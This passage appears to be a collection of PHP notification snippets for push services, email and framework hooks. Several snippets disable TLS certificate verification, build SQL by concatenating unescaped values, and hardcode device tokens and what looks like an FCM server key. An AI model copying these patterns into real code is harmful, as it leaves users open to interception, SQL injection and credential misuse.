Event::COMMENT_CREATED)\n\t\t\t\t\t$message = $event['raiserName'] . ' commented on your post.';\n\t\t\t\telse if($eventType == Event::USER_FOLLOWED)\n\t\t\t\t\t$message = $event['raiserName'] . ' is now following you.';\n\t\t\t\telse if($eventType == Event::USER_MENTIONED_COMMENT){\n\t\t\t\t\t$message = $event['raiserName'] . ' mentioned you in a comment.';\n// \t\t\t\t\t$eventType = Event::COMMENT_CREATED;\n\t\t\t\t}\n\t\t\t\telse if($eventType == Event::USER_MENTIONED_POST){\n\t\t\t\t\t$message = $event['raiserName'] . ' mentioned you in a post.';\n// \t\t\t\t\t$eventType = Event::COMMENT_CREATED;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif(!empty($message))\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t$notfyId = Notification::saveNotification($event['relatedUserId'], Notification::NOTIFICATION_GROUP_YOU, $message, $event['id']);\n\t\t\t\t\t$session = Session::model()->findByAttributes(array('userId'=>$event['relatedUserId']));\n// \t\t\t\t\terror_log('SESSION_LOG : '. print_r( $session, true ) );\n\t\t\t\t\t\t\t\t\n\t\t\t\t\tif(!is_null($session) && !empty($session) && $session->deviceToken)\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t$notifyData = array(\n// \t\t\t\t\t\t\t\t\"id\" => $notfyId,\n// \t\t\t\t\t\t\t\t\"receiverId\" => $event['relatedUserId'],\n// \t\t\t\t\t\t\t\t\"notificationGroup\" => Notification::NOTIFICATION_GROUP_YOU,\n\t\t\t\t\t\t\t\t\"alert\" => $message,\n// \t\t\t\t\t\t\t\t\"eventId\" => $event['id'],\n// \t\t\t\t\t\t\t\t\"isSeen\" => \"0\",\n\t\t\t\t\t\t\t\t\"eventType\" => $eventType,\n// \t\t\t\t\t\t\t\t\"raiserId\" => $event['raiserId'],\n// \t\t\t\t\t\t\t\t\"raiserName\" => $event['raiserName'],\n// \t\t\t\t\t\t\t\t\"relatedUserId\" => $event['relatedUserId'],\n// \t\t\t\t\t\t\t\t\"relatedUserName\" => $event['relatedUserName'],\n\t\t\t\t\t\t\t\t\"elementId\" => $event['elementId'],\n\t\t\t\t\t\t\t\t\"eventDate\" => $event['eventDate'],\n// \t\t\t\t\t\t\t\t\"isNotified\" => $event['isNotified'],\n\t\t\t\t\t\t\t\t'badge' => $session->deviceBadge,\n\t\t\t\t\t\t\t\t'sound' => 'default'\n\t\t\t\t\t\t);\n\t\t\t\t\t\t\n// \t\t\t\t\t\t\techo 'Notify Data : ';\n// \t\t\t\t\t\tprint_r($notifyData);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$session->deviceBadge += 1;\n\t\t\t\t\t\t$session->save();\n\t\t\t\t\t\tsendApnsNotification($session->deviceToken, $message, $session->deviceBadge, $notifyData);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}elseif( isset($event['message']) && $event['message'] !=null){\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$devices = array();\n\t\t\t\t$sql = 'SELECT id, deviceToken, deviceBadge from session where role=\"manager\"';\n\t\t\t\t\n\t\t\t $rows = Yii::app()->db->createCommand($sql)->queryAll(true);\n\t\t \t$chunk=1;\t\t \n\t\t \n\t\t\t\tforeach ($rows as $row){\n\t\t\t\t\t$devices[] = array(\n\t\t\t\t\t\t\t'deviceToken'=>$row['deviceToken'],\n\t\t\t\t\t\t\t'notifyData' => array('aps'=> array(\n\t\t\t\t\t\t\t\t\t\"alert\" => $event['message'],\n\t\t\t\t\t\t\t\t\t\"eventType\" => $event['eventType'],\n\t\t\t\t\t\t\t\t\t\"elementId\" => $event['id'],\n\t\t\t\t\t\t\t\t\t\"eventDate\" => $event['eventDate'],\n\t\t\t\t\t\t\t\t\t'badge' => $row['deviceBadge'],\n\t\t\t\t\t\t\t\t\t'sound' => 'default'\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t)\n\t\t\t\t\t);\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif($chunk > 4){\n\t\t\t\t\t\tsendApnsNotification($devices, '');\n\t\t\t\t\t\t$chunk=1;\n\t\t\t\t\t\t$devices = array();\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$chunk++;\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\tif(!empty($devices)){\n\t\t\t\t\techo 'Sending...'.date(DATE_RFC850).\"\\n\";\n\t\t\t\t\tsendApnsNotification($devices, '');\n\t\t\t\t\techo 'done '.date(DATE_RFC850).\"\\n\";\n\t\t\t\t}\n// \t\t\t\t$notfyId = Notification::saveNotification($event['relatedUserId'], Notification::NOTIFICATION_GROUP_YOU, $message, $event['id']);\n\n// \t\t\t\t$insertSql = 'INSERT into notification (receiverId, notificationGroup, message, eventId) (select id, \"1\", \"'.$event['message'].'\", '.$event['id'].' from user where isDisabled = 0 and role=\"manager\")';\n// \t\t\t\tYii::app()->db->createCommand($insertSql)->query();\n\t\t\t\t\n\t\t\t}\n\t\t\tEvent::model()->updateByPk($event['id'], array('isNotified'=>1));\n\t\t}\n\t\t\n\t\t\n\t\t\n\t}", "function updateNotification(){\n $id= $_GET['id'];\n $userid = $_SESSION[ADMIN_USER_SESS_KEY]['userId'];\n $where = array('referenceId'=>$id,'notificationFor'=>$userid);\n $data = array('isRead'=>1); \n $update = $this->common_model->updateFields(NOTIFICATIONS, $data, $where);\n if($update){\n echo json_encode(array('status'=>1));die(); \n }\n }", "function model_prepare_notification($hook, $type, $notification, $params) {\n\t$entity = $params['event']->getObject();\n\t$owner = $params['event']->getActor();\n\t$recipient = $params['recipient'];\n\t$language = $params['language'];\n\t$method = $params['method'];\n\n\t$notification->subject = elgg_echo('model:notify:subject', array($entity->title), $language);\n\t$notification->body = elgg_echo('model:notify:body', array(\n\t\t$owner->name,\n\t\t$entity->title,\n\t\t$entity->getExcerpt(),\n\t\t$entity->getURL()\n\t), $language);\n\t$notification->summary = elgg_echo('model:notify:summary', array($entity->title), $language);\n\n\treturn $notification;\n}", "function AndroidNotification($deviceToken,$message,$title,$userid,$type,$notificationid='',$appointmentid=''){\n\n $CI = & get_instance();\n if($deviceToken != '' && $deviceToken != NULL) { \n $CI->push->setTitle($title);\n $CI->push->setMessage($message); \n \n $CI->push->setIsBackground(FALSE);\n $CI->push->setPayload(array('userid' => $userid,'type'=>$type,'notificationid' => $notificationid,'appointmentid'=>$appointmentid));\n $json = $CI->push->getPush();\n $regId = isset($deviceToken) ? $deviceToken : '';\n $response = $CI->firebase->send($regId, $json);\n \n return $response;\n } \n //return false;\n}", "function publish_pushNotification($mobile,$message){\n\t\t\n\t\t$qry\t=\t\"select *from optra_app_install_device\"; // Device Id's to be captured \n\t\t$res\t=\t$this->db->query($qry);\n\t\tif($res->result()){\n\t\t\n\t\t\tforeach($res->result() as $row){\n\t\t\t\t\n\t\t\t\t$data[]\t=\t$row->device_id;\n\t\t\t}\n\t\t}\n\t\t\n\t\ttry{\n\t\t\t$url = 'https://fcm.googleapis.com/fcm/send';\n\t\t\t/* $id = \"f6O5mIH3VME:APA91bEl0XbPgyCyr6mlYyEuKdPSR-Vry7wKr8ZverY0GSNMh2ga0ouzqYSOwhvnzruZib8dcLZvyAgmcAzYiAUa-V9l-To7XKLP56HENWYnDpgBoJoeLsHdCQ7q-wyW3xDzFOaaBEuM\";\n\t\t\t$id1 = \"c04kKXckLJI:APA91bE7TsLzB8ySAUMBsAEgtZVGlYYeqCxVGKukCsiM_a2lFEcDCR9Dj4_b-yB41sns4IkjdY-1J90cAir15zVPp6WG907gTDSqF9fwoQoDJT2LL9e-9LCvJj2iipiCuuUAcDYykDHJ\";\n\t\t\t$id2 = \"fzABBjmH63M:APA91bHTAmSI762EiZlSvrcZHa4Zbp5zke6ognv5sQBi9eSFzzdrd2vNIu79--AlA7KCO90dTxnJndbPzIWJUDpt4vCGu1lBsk16CcDqQtkdkuiq1dk703bsF1lmREwNiczTrdTbynL1\";\n\t\t\t$id3 = \"d_2TUv-VKwc:APA91bGXHt3umB7nkaiIrpEz-aeU151Q4asbadzcOwvBqZ9tkSd5qld4t0dOkOzXkJU5vSFNzgJ5jlbMNokPC4Kdpk3mX8WZOFFvDFyhXTQMo5UipOVB0QvWynVw0kkRtZ_r1OfOcDE1\";\n\t\t\t$id4 = \"eNxiF6NW0rI:APA91bHOdDuG6TEccpHqqkR69ACTJ7QwoHD3l8s2gDfY9u8OryrBmqcsxOXmTGN8S5ibIodDXzSHmwbeRkLkUU1phqwmZhqeLJCg_Shni8R9yR4qiPOfUWQ0uO9kkiYwtUnQLnsM9_5b\";\n\t\t\t$id5 = \"dxUqldK1jw0:APA91bHXrR7sgZnRhn5mB-BVamUp-gylChAODOf6mAQFIxNayjqGwUpiI2EvGPumYpyqUnd0rlyuZ8qfiZ2lYsSOHhhOnZfnfWxnfVaOOSMvhBXZHbbz9KpDSA6sdcoTvnlmI1UKNynz\";\n\t\t\t$id6 = \"eQZ6Di6fTyM:APA91bEbPGro33m5RsFXVyc4eVIqOwIre4LyHbf17BYKtMKrnrY_j3z8Ib3JBuM3z-HDc1-jRTEy_KGJxHuqa-R0VHcsRnC-QUR5ocJaR9ByRMGtCqaNa0C_JNxsj_66vwvuMCOAZc_5\"; */\n\t\t\t\n\t\t\t$fields = array(\n\t\t\t\t'registration_ids' => array(\"f6O5mIH3VME:APA91bEl0XbPgyCyr6mlYyEuKdPSR-Vry7wKr8ZverY0GSNMh2ga0ouzqYSOwhvnzruZib8dcLZvyAgmcAzYiAUa-V9l-To7XKLP56HENWYnDpgBoJoeLsHdCQ7q-wyW3xDzFOaaBEuM\"),\n\t\t\t\t'data' => array(\"body\"=>$message)\n\t\t\t);\n\t\t\t\n\t\t\t$headers = array(\n\t\t\t\t'Authorization: key=' . \"API KEY\", // API Key will be present in the console fcm. \n\t\t\t\t'Content-Type: application/json'\n\t\t\t);\n\t\t\tforeach($data as $key=>$v1){\n\t\t\t\n\t\t\t\t$fields = array (\n\t\t\t\t\t'to' => $v1,\n\t\t\t\t\t'notification' => array (\n\t\t\t\t\t\t\"body\" => $message, // Custom Message, Festival Wishes.\n\t\t\t\t\t\t\"title\" => \"Hi All\", // Title can be given based on Events ex: Happy Holi\n\t\t\t\t\t\t\"icon\" => \"myicon\" // your website fav icon\n\t\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t//Initializing curl to open a connection\n\t\t\t$ch = curl_init();\n \n\t\t\t//Setting the curl url\n\t\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\t\t\n\t\t\t//setting the method as post\n\t\t\tcurl_setopt($ch, CURLOPT_POST, true);\n\t \n\t\t\t//adding headers \n\t\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, $headers);\n\t\t\n\t\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t \n\t\t\t//disabling ssl support\n\t\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\t\t\t\n\t\t\t\n\t\t\t//adding the fields in json format \n\t\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($fields));\n \n\t\t\t//finally executing the curl request \n\t\t\t$result = curl_exec($ch);\n\t\t\techo $result.\"<br/>\";\n\t\t\t\n\t\t\tif ($result === FALSE) {\n\t\t\t\t\n\t\t\t\techo 'Curl failed: ' . curl_error($ch);\n\t\t\t\t\n\t\t\t}\n \n\t\t\t//Now close the connection\n\t\t\tcurl_close($ch);\n\t\t\t}\n\t\t}catch (Exception $e) {\n\t\t\t\n\t\t\techo $e->getMessage();\n\t\t}\n\t}", "public function pushtest()\n {\n define( 'API_ACCESS_KEY', 'YOUR-SERVER-API-ACCESS-KEY-GOES-HERE' );\n // $userinfo = Userinfo::find(9);\n $registrationIds = array( 'fK43k8Vv0JU:APA91bHVMQSzvd9jCaMId8TBlw1OaNskJ0BDvzF87zB4rHfbZUhY9CkOL_SyeEkWP01PiWsEX-C87UOv6d3_NYZhfdElrdZwEX0Ug_EcLT5YAMKnEazEaRMPvB_mMjpPH5l86pjdradV' ,\n 'fK43k8Vv0JU:APA91bHVMQSzvd9jCaMId8TBlw1OaNskJ0BDvzF87zB4rHfbZUhY9CkOL_SyeEkWP01PiWsEX-C87UOv6d3_NYZhfdElrdZwEX0Ug_EcLT5YAMKnEazEaRMPvB_mMjpPH5l86pjdradV');\n // $registrationIds = array( $userinfo->gcmid );\n #prep the bundle\n $msg = array\n (\n 'body' => 'Test Push notification',\n 'title' => 'Test Push',\n 'tag' => 'new_order_placed'\n // 'icon' => 'myicon',/*Default Icon*/\n // 'sound' => 'mySound'/*Default sound*/\n );\n\n $ttl = array('ttl' => '3s');\n $fields = array\n (\n // 'to' => $GCMID // for single device push\n 'registration_ids' => $registrationIds , // for multiple deice push\n 'data' => $msg,\n \"android\" => $ttl\n );\n\n\n $headers = array\n (\n // 'Authorization: key=' . 'AAAAdN6q8pk:APA91bFFO44qgVLfPoT3aj572-cGhkvzalAw_VYF_dl3IC3QIkzJ-b_cW2o8w78lJWDQzVuY1i1uQp2v0YnGklYtRiz0nD-U8CARSOq3ECmTAR-QZc3oQeyAOX4A95RgRB6FmCyNpF5v',\n 'Authorization: key=' . env('PUSH_NOTIFICATION_API_ACCESS_KEY'),\n 'Content-Type: application/json'\n );\n #Send Reponse To FireBase Server\n $ch = curl_init();\n // curl_setopt( $ch,CURLOPT_URL, 'https://fcm.googleapis.com/fcm/send' );\n curl_setopt( $ch,CURLOPT_URL, env('PUSH_NOTIFICATION_SEND_URL') );\n curl_setopt( $ch,CURLOPT_POST, true );\n curl_setopt( $ch,CURLOPT_HTTPHEADER, $headers );\n curl_setopt( $ch,CURLOPT_RETURNTRANSFER, true );\n curl_setopt( $ch,CURLOPT_SSL_VERIFYPEER, false );\n curl_setopt( $ch,CURLOPT_POSTFIELDS, json_encode( $fields ) );\n $result = curl_exec($ch );\n curl_close( $ch );\n #Echo Result Of FireBase Server\n // echo $result;\n $jsonResult = json_decode($result);\n // dd($jsonResult->results);\n\n // logNotification(1,$registrationIds,$msg,$jsonResult->results,'new_order_placed');\n }", "public function get_push_notification()\n {\n $this->load->library('wsresponse');\n $this->load->library('wschecker');\n $this->wsresponse->setOptionsResponse();\n\n $this->load->model('rest_model');\n $get_arr = is_array($this->input->get(NULL, TRUE)) ? $this->input->get(NULL, TRUE) : array();\n $post_arr = is_array($this->input->post(NULL, TRUE)) ? $this->input->post(NULL, TRUE) : array();\n $post_params = array_merge($get_arr, $post_arr);\n\n try {\n if ($this->config->item('WS_RESPONSE_ENCRYPTION') == \"Y\") {\n $post_params = $this->wschecker->decrypt_params($post_params);\n }\n $verify_res = $this->wschecker->verify_webservice($post_params);\n if ($verify_res['success'] != \"1\") {\n $this->wschecker->show_error_code($verify_res);\n }\n\n $unique_id = $post_params[\"unique_id\"];\n $data = $temp = array();\n if (empty($unique_id)) {\n throw new Exception(\"Please send unique id for this notification\");\n }\n $extra_cond = $this->db->protect(\"mpn.vUniqueId\") . \" = \" . $this->db->escape($unique_id);\n $data_arr = $this->rest_model->getPushNotify($extra_cond);\n\n if (!is_array($data_arr) || count($data_arr) == 0) {\n throw new Exception(\"Data not found for this unique id\");\n }\n $variables = json_decode($data_arr[0]['tVarsJSON'], true);\n if (is_array($variables) && count($variables) > 0) {\n foreach ($variables as $vk => $vv) {\n if ($vv['key'] != \"\") {\n $temp[$vv['key']] = $vv['value'];\n }\n }\n }\n $temp['code'] = $data_arr[0]['eNotifyCode'];\n $temp['title'] = $data_arr[0]['vTitle'];\n $temp['body'] = $data_arr[0]['tMessage'];\n\n $data[0] = $temp;\n $settings_arr['success'] = 1;\n $settings_arr['message'] = \"Push notification data found\";\n } catch (Exception $e) {\n $settings_arr['success'] = 0;\n $settings_arr['message'] = $e->getMessage();\n }\n $responce_arr['settings'] = $settings_arr;\n $responce_arr['data'] = $data;\n $this->wsresponse->sendWSResponse($responce_arr);\n }", "public function register_notifications( $notifications ) {\n\n\t\t$notifications['two-factor-email'] = array(\n\t\t\t'slug' => 'two-factor-email',\n\t\t\t'schedule' => ITSEC_Notification_Center::S_NONE,\n\t\t\t'recipient' => ITSEC_Notification_Center::R_USER,\n\t\t\t'subject_editable' => true,\n\t\t\t'message_editable' => true,\n\t\t\t'tags' => array( 'username', 'display_name', 'site_title' ),\n\t\t\t'module' => 'two-factor',\n\t\t);\n\n\t\t$notifications['two-factor-confirm-email'] = array(\n\t\t\t'slug' => 'two-factor-confirm-email',\n\t\t\t'schedule' => ITSEC_Notification_Center::S_NONE,\n\t\t\t'recipient' => ITSEC_Notification_Center::R_USER,\n\t\t\t'subject_editable' => true,\n\t\t\t'message_editable' => true,\n\t\t\t'tags' => array( 'username', 'display_name', 'site_title' ),\n\t\t\t'module' => 'two-factor',\n\t\t\t'optional' => true,\n\t\t);\n\n\t\treturn $notifications;\n\t}", "function query_subscription_mail($key, &$message, $params) {\n if ($key !== 'notification') return;\n\n $user = $params['user'];\n $changes = $params['changes'];\n\n watchdog('query_subscription', \"Sending notification mail to @email (uid @uid)\",\n array('@email' => $user->mail, '@uid' => $user->uid), WATCHDOG_INFO);\n\n // translate to appropriate user's language and html escape function\n $ht = function($txt) use ($user) {\n // php 5.3, so there is no ENT_SUBSTITUTE, ENT_HTML401\n return htmlspecialchars(t($txt, array(), array('langcode' => $user->language)), ENT_QUOTES);\n };\n\n // html escape function\n $e = function($txt) {\n // php 5.3, so there is no ENT_SUBSTITUTE, ENT_HTML401\n return htmlspecialchars($txt, ENT_QUOTES);\n };\n\n // format link as html anchor with translation\n $l = function($txt, $link) use ($user) {\n return l($txt, $link, array('language' => $user->language, 'absolute' => true));\n };\n\n // Build html containing tables with data on what changed\n /*\n * Todo: group queries by dataset. Per-dataset information such as new/removed studies or expirations should only be\n * shown once instead of for every query affected. The $changes array already has this grouping but we don't do\n * anything with it now.\n */\n $datasets_html = '';\n $datasets_expired_html = '';\n $datasets_expired = array();\n foreach($changes as $dschanges) foreach($dschanges as $change) {\n $data = '';\n $subscription = $change['subscription'];\n $query = $subscription->query();\n // Emails are only sent if the structure of the query has not changed, so descriptors for old and new values are the same.\n $descriptors = $subscription->descriptors();\n\n $expiration_date = $old_matching = $new_matching = $old_cardinality = $new_cardinality = null;\n $studies_added_links = $studies_removed_links = array();\n $query_uri = entity_uri('mica_query', $query);\n $query_link = $l($query->name ? : $ht(\"unnamed query\"), $query_uri['path']);\n $dataset_link = $l($descriptors['dataset']->title, 'node/'.$descriptors['dataset']->nid);\n $prevdate = $e($subscription->updated()->format(\"d-m-Y\"));\n $curdate = $e(date('d-m-Y'));\n $expired = $change['expired'];\n if ($expired) {\n $expiration_date = $e($descriptors['dataset_expiration_date']->format('d-m-Y'));\n $datasets_expired[$dataset_link] = 1;\n } else {\n $differences = $change['differences'];\n\n $old_matching = $e($differences['old_matched']);\n $new_matching = $e($differences['new_matched']);\n\n if(isset($differences['old_cardinality'])) {\n $old_cardinality = $e($differences['old_cardinality']);\n $new_cardinality = $e($differences['new_cardinality']);\n }\n\n foreach($differences['studies_added'] as $conn_id) {\n $study = QuerySubscription::study_for_connection_id($conn_id);\n $studies_added_links[] = $l($study->title, 'node/'.$study->nid);\n }\n foreach($differences['studies_removed'] as $conn_id) {\n $study = QuerySubscription::study_for_connection_id($conn_id);\n $studies_removed_links[] = $l($study->title, 'node/'.$study->nid);\n }\n }\n\n // we cannot use stylesheets in html mail, as many webmail systems such as gmail don't support it. Use inline styles.\n $th = \"th style='text-align: left'\";\n $td = \"td style='padding: 0 .2em'\";\n\n // The per-query header\n $data .= \"<div style='margin: 1em 0 1em -.2em'><table>\\n\" .\n \" <tr><$th>{$ht('Query')}:</th><$td>$query_link</td></tr>\\n\" .\n \" <tr><$th>{$ht('Dataset')}:</th><$td>$dataset_link</td></tr>\\n\" .\n \" <tr><$th>{$ht('Date')}:</th><$td>$curdate</td></tr>\\n\" .\n \" <tr><$th>{$ht('Previous check date')}:</th><$td>$prevdate</td></tr>\\n\";\n if (!$expired) {\n if(count($studies_added_links) > 0) {\n $studies_list = implode('<br>', $studies_added_links);\n $data .= \" <tr><$th>{$ht('New Studies')}:</th><$td>$studies_list</td></tr>\\n\";\n }\n if(count($studies_removed_links) > 0) {\n $studies_list = implode('<br>', $studies_removed_links);\n $data .= \" <tr><$th>{$ht('Removed Studies')}:</th><$td>$studies_list</td></tr>\\n\";\n }\n\n } else {\n $data .= \"<tr><$th>{$ht('Expiration date')}:</th><$td>$expiration_date</td>\\n\";\n }\n $data .= \"</table></div><br>\\n\\n\";\n\n if($expired) {\n $datasets_expired_html .= $data;\n continue;\n }\n\n $th = \"th style='text-align: left'\";\n $td = \"td style='padding: 0 1em; text-align: center'\";\n $italic = function($txt) {return \"<span style='font-style: italic;'>$txt</span>\";};\n\n // changes in values\n $data .= \"<div style='margin: .5em 0 1em -1em'><table>\\n\" .\n \" <tr><$th></th><$td>{$italic($prevdate)}</td><$td>{$italic($ht('Now'))}</td></tr>\\n\";\n\n $cross_ids = array_diff(array_keys($change['old_values']['_all']['_matched']), array('_all', '_cardinality'));\n if(empty($cross_ids)) {\n $old = $old_matching;\n $new = $new_matching;\n } else {\n $olds = $news = array();\n foreach($change['old_values']['_all']['_matched'] as $cross_cat => $value) {\n if(in_array($cross_cat, array('_all', '_cardinality'))) continue;\n $cross_label = $descriptors['categories'][$cross_cat];\n $olds[] = $e(\"\\\"$cross_label\\\" ({$cross_cat}): $value\");\n }\n $olds[] = $ht(\"Total\").\": $old_matching\";\n if(!is_null($old_cardinality)) {\n $olds[] = $ht(\"No. of Patients\").\": $old_cardinality\";\n }\n foreach($change['new_values']['_all']['_matched'] as $cross_cat => $value) {\n if(in_array($cross_cat, array('_all', '_cardinality'))) continue;\n $cross_label = $descriptors['categories'][$cross_cat];\n $news[] = $e(\"\\\"$cross_label\\\" ({$cross_cat}): $value\");\n }\n $news[] = $ht(\"Total\").\": $new_matching\";\n if(!is_null($new_cardinality)) {\n $news[] = $ht(\"No. of Patients\").\": $new_cardinality\";\n }\n\n $old = implode('<br>', $olds);\n $new = implode('<br>', $news);\n }\n\n $data .=\n \" <tr><$th>{$ht('Total Matching Results')}:</th><$td>$old</td><$td>$new</td></tr>\\n\";\n\n if(isset($differences['old_cardinality'])) {\n $data .=\n \" <tr><$th>{$ht('Total Matching no. of Patients')}:</th><$td>$old_cardinality</td><$td>$new_cardinality</td></tr>\\n\";\n }\n\n $data .= \"</table></div><br>\\n\\n\";\n\n $datasets_html .= $data;\n }\n\n $datasets_expired = array_keys($datasets_expired);\n if (count($datasets_expired) > 0) {\n $expired_notice = t(<<<EOF\n<p><span style='font-weight: bold; font-size: 105%'>The following datasets have expired.</span>\\n\nYou will no longer receive updates for queries on these datasets. New versions of datasets may be available:</p>\\n\nEOF\n , array(), array('langcode' => $user->language));\n $expired_notice .= \"<ul>\\n\" . implode('', array_map(function($d) {return \"<li>$d</li>\\n\";}, $datasets_expired)) . \"</ul>\\n\\n\";\n } else {\n $expired_notice = '';\n }\n\n $body = <<<EOF\n<h1 style=\"font-size: 120%\">CMI data update notification</h1>\n\n<p>You have asked to be notified of changes in saved queries at CMI. The following changes have been found:</p>\n\n!expired_notice\n!data_expired\n!data_html\n\n<p style=\"font-size: 90%\">!subscriptions_url</p>\n\n<p style=\"font-size: 90%\">!home_link</p>\nEOF;\n\n $subscriptions_url = $l($ht('View update notification settings'), \"my-queries\");\n $home_link = $l($ht(\"CMI home page\"), '/');\n\n $message['subject'] = t('CMI data update notification', array(), array('langcode' => $user->language));\n $message['body'] = t($body,\n array(\n '!expired_notice' => $expired_notice,\n '!data_expired' => $datasets_expired_html,\n '!data_html' => $datasets_html,\n '!subscriptions_url' => $subscriptions_url,\n '!home_link' => $home_link,\n ),\n array('langcode' => $user->language));\n}", "function sendNotificationToUsers($userTokens, $notification){\n $notification->sendNotification($userTokens, \"Answer some questions\", \"Don't forget to check out the new questionnaire today\");\n}", "public function send_notification($data = null) {\n\n $url = base_url() . 'notifications.php';\n\n $options = array\n (\n CURLOPT_URL => $url,\n CURLOPT_POST => 1,\n CURLOPT_POSTFIELDS => $data,\n );\n\n $curl = curl_init();\n curl_setopt_array($curl, $options);\n $response = curl_exec($curl);\n\n if (!$response) {\n $response = curl_error($curl);\n }\n curl_close($curl);\n }", "public function push($notification, $notifiable);", "public function sendPainlevelNotificion($surveynumber,$painscore, $userdetails, $therapistid)\n {\n\t\n\t\t$fullname = $userdetails['name_first'].' '.$userdetails['name_last'];\n\t\t$data['fullname'] = $fullname;\n\t\t$to = $fullname.'<'.$userdetails['username'].'>';\n\t\t\n\t\t$application_path = $this->config['application_path'];\n\t\t$telespine_id = $this->config['telespineid'];\n\t\t\n\t\t\n\t\t$business_url = $this->config['business_telespine']; \n\t\t$support_email = $this->config['email_telespine'];\n\t\t$images_url=$this->config['images_url'];\n\t\t$data['images_url'] = $images_url;\n\t\t$data['support_email'] = $support_email ;\n\t\t$data['loginurl']=$this->config['telespine_login'];\n\t\t$templatePath = $application_path.\"mail_content/telespine/painlevel_notification.php\";\n\t\t\t\n\t\t\n\t\t$data_base_message = '';\n\t\t$mail_message = '';\n\t\t\n\t\tif($painscore<=2){\n\t\t\n\t\t$data_base_message = 'Your pain score results demonstrates that while you are having some discomfort, you are able to participate in almost all daily activities. To maximize your healing process and to prevent lower back pain in the future, be sure to follow all the program guidelines and instructions including posture tips, stress reduction techniques and exercises. If at any time you are in doubt or concerned about the pain you are having, contact your health care professional.';\n\t\t\n\t\t$mail_message = '<p style=\"margin:20px 0 0 0; padding:0;font-family:Arial;font-size:13px;\">your pain score falls between 0-2 which demonstrates that while you are having some discomfort, you are able to participate in almost all daily activities. To maximize your healing process and to prevent lower back pain in the future, be sure to follow all the program guidelines and instructions including posture tips, stress reduction techniques and exercises. </p><p style=\"margin:20px 0 0 0; padding:0;font-family:Arial;font-size:13px;\">If at any time you are in doubt or concerned about the pain you are having, contact your health care professional.</p>';\n\t\t\n\t\t$subject =\"Score 0-2: What your Pain Scale Score Means\";\n\t\t\n\t\t}\n\t\telseif($painscore>2 && $painscore<=5 ){\n\t\t\n\t\t$data_base_message = 'Your pain score indicates that your back is bothering quite a bit of the time but that you can tolerate most every day daily activities. To maximize your healing process be sure to follow all the program guidelines and instructions including posture tips, stress reduction techniques and exercises. If at any time you are in doubt or concerned about the pain you are having, contact your health care professional.';\n\t\t\n\t\t$mail_message = '<p style=\"margin:20px 0 0 0; padding:0;font-family:Arial;font-size:13px;\">your pain score falls between 3-5 which indicates that your back is bothering quite a bit of the time but that you can tolerate most every day daily activities. To maximize your healing process be sure to follow all the program guidelines and instructions including posture tips, stress reduction techniques and exercises.</p><p style=\"margin:20px 0 0 0; padding:0;font-family:Arial;font-size:13px;\">If at any time you are in doubt or concerned about the pain you are having, contact your health care professional.</p>';\n\t\t\n\t\t$subject =\"Score 3-5: What your Pain Scale Score Means\";\n\t\t\n\t\t}\n\t\t\n\t\telseif($painscore>5 && $painscore<=8 ){\n\t\t\n\t\t$data_base_message = 'Your pain score result shows that you are in a lot of pain. Experiencing pain at this level can be frightening and frustrating. By participating in the program you should start to feel better in a couple of days. If you are in near disabling pain or if at any time you are in doubt or concerned about the pain you are having, contact your health care professional. ';\n\t\t\n\t\t$mail_message = '<p style=\"margin:20px 0 0 0; padding:0;font-family:Arial;font-size:13px;\">your pain score falls between 6-8 which indicates that you are in a lot of pain. Experiencing pain at this level can be frightening and frustrating. By participating in the program you should start to feel better in a couple of days.</p><p style=\"margin:20px 0 0 0; padding:0;font-family:Arial;font-size:13px;\">If you are in near disabling pain or if at any time you are in doubt or concerned about the pain you are having, contact your health care professional. </p>';\n\t\t\n\t\t$subject =\"Score 6-8: What your Pain Scale Score Means\";\n\t\t\n\t\t}\n\t\t\n\t\telseif($painscore>8 && $painscore<=10 ){\n\t\t\n\t\t$data_base_message = 'Your pain score result tells us that you are in disabling pain. In the interest of your safety, please consult your healthcare professional before continuing with this program. ';\n\t\t\n\t\t$mail_message = '<p style=\"margin:20px 0 0 0; padding:0;font-family:Arial;font-size:13px;\">your pain score falls between 9-10: Your pain score result tells us that you are in disabling pain. In the interest of your safety, please consult your healthcare professional before continuing with this program. </p>';\n\t\t\n\t\t$subject =\"Score 0-2: What your Pain Scale Score Means\";\n\t\t\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t$data['message'] = $mail_message;\n\t\t\n\t\t$message = $this->build_template($templatePath,$data);\n\t\t$data['support_email'] = $support_email;\n\t\t\n\t\t\n\t\t\n\t\t// To send HTML mail, the Content-type header must be set\n\t\t$headers = 'MIME-Version: 1.0' . \"\\n\";\n\t\t$headers .= 'Content-type: text/html; charset=iso-8859-1' . \"\\n\";\n\t\t$headers .= \"From: Telespine Support<\".$support_email.\">\" . \"\\n\";\n\t\t$returnpath = \"-f\".$support_email;\n\t\t$sqlinsert=\"INSERT INTO patient_message_center set \n\t\t\t\t\tpatient_id='\".$userdetails['user_id'].\"',\n\t\t\t\t\tsender_id='\".$therapistid.\"',\n\t\t\t\t\tsubject='Pain level',\n\t\t\t\t\tmessage='\".$data_base_message.\"',\n\t\t\t\t\tcreation_date=now(),\n\t\t\t\t\tread_date=now(),\n\t\t\t\t\tis_read=0\";\n //as per jonathan this is not part of release 101\n\t\t//$resultMessage=$this->execute_query($sqlinsert);\n\t\t\t\n\t\n\t\n\t\n\t\n\t}", "function format_notification( $item_id, $secondary_item_id ) {\n\t\t\n\t\t// Get some data\n\t\t$group \t= groups_get_group( array( 'group_id' => $item_id ) );\n\t\t$post \t= get_post( $secondary_item_id );\n\n\t\t// Format the notification\n\t\treturn sprintf( '<a 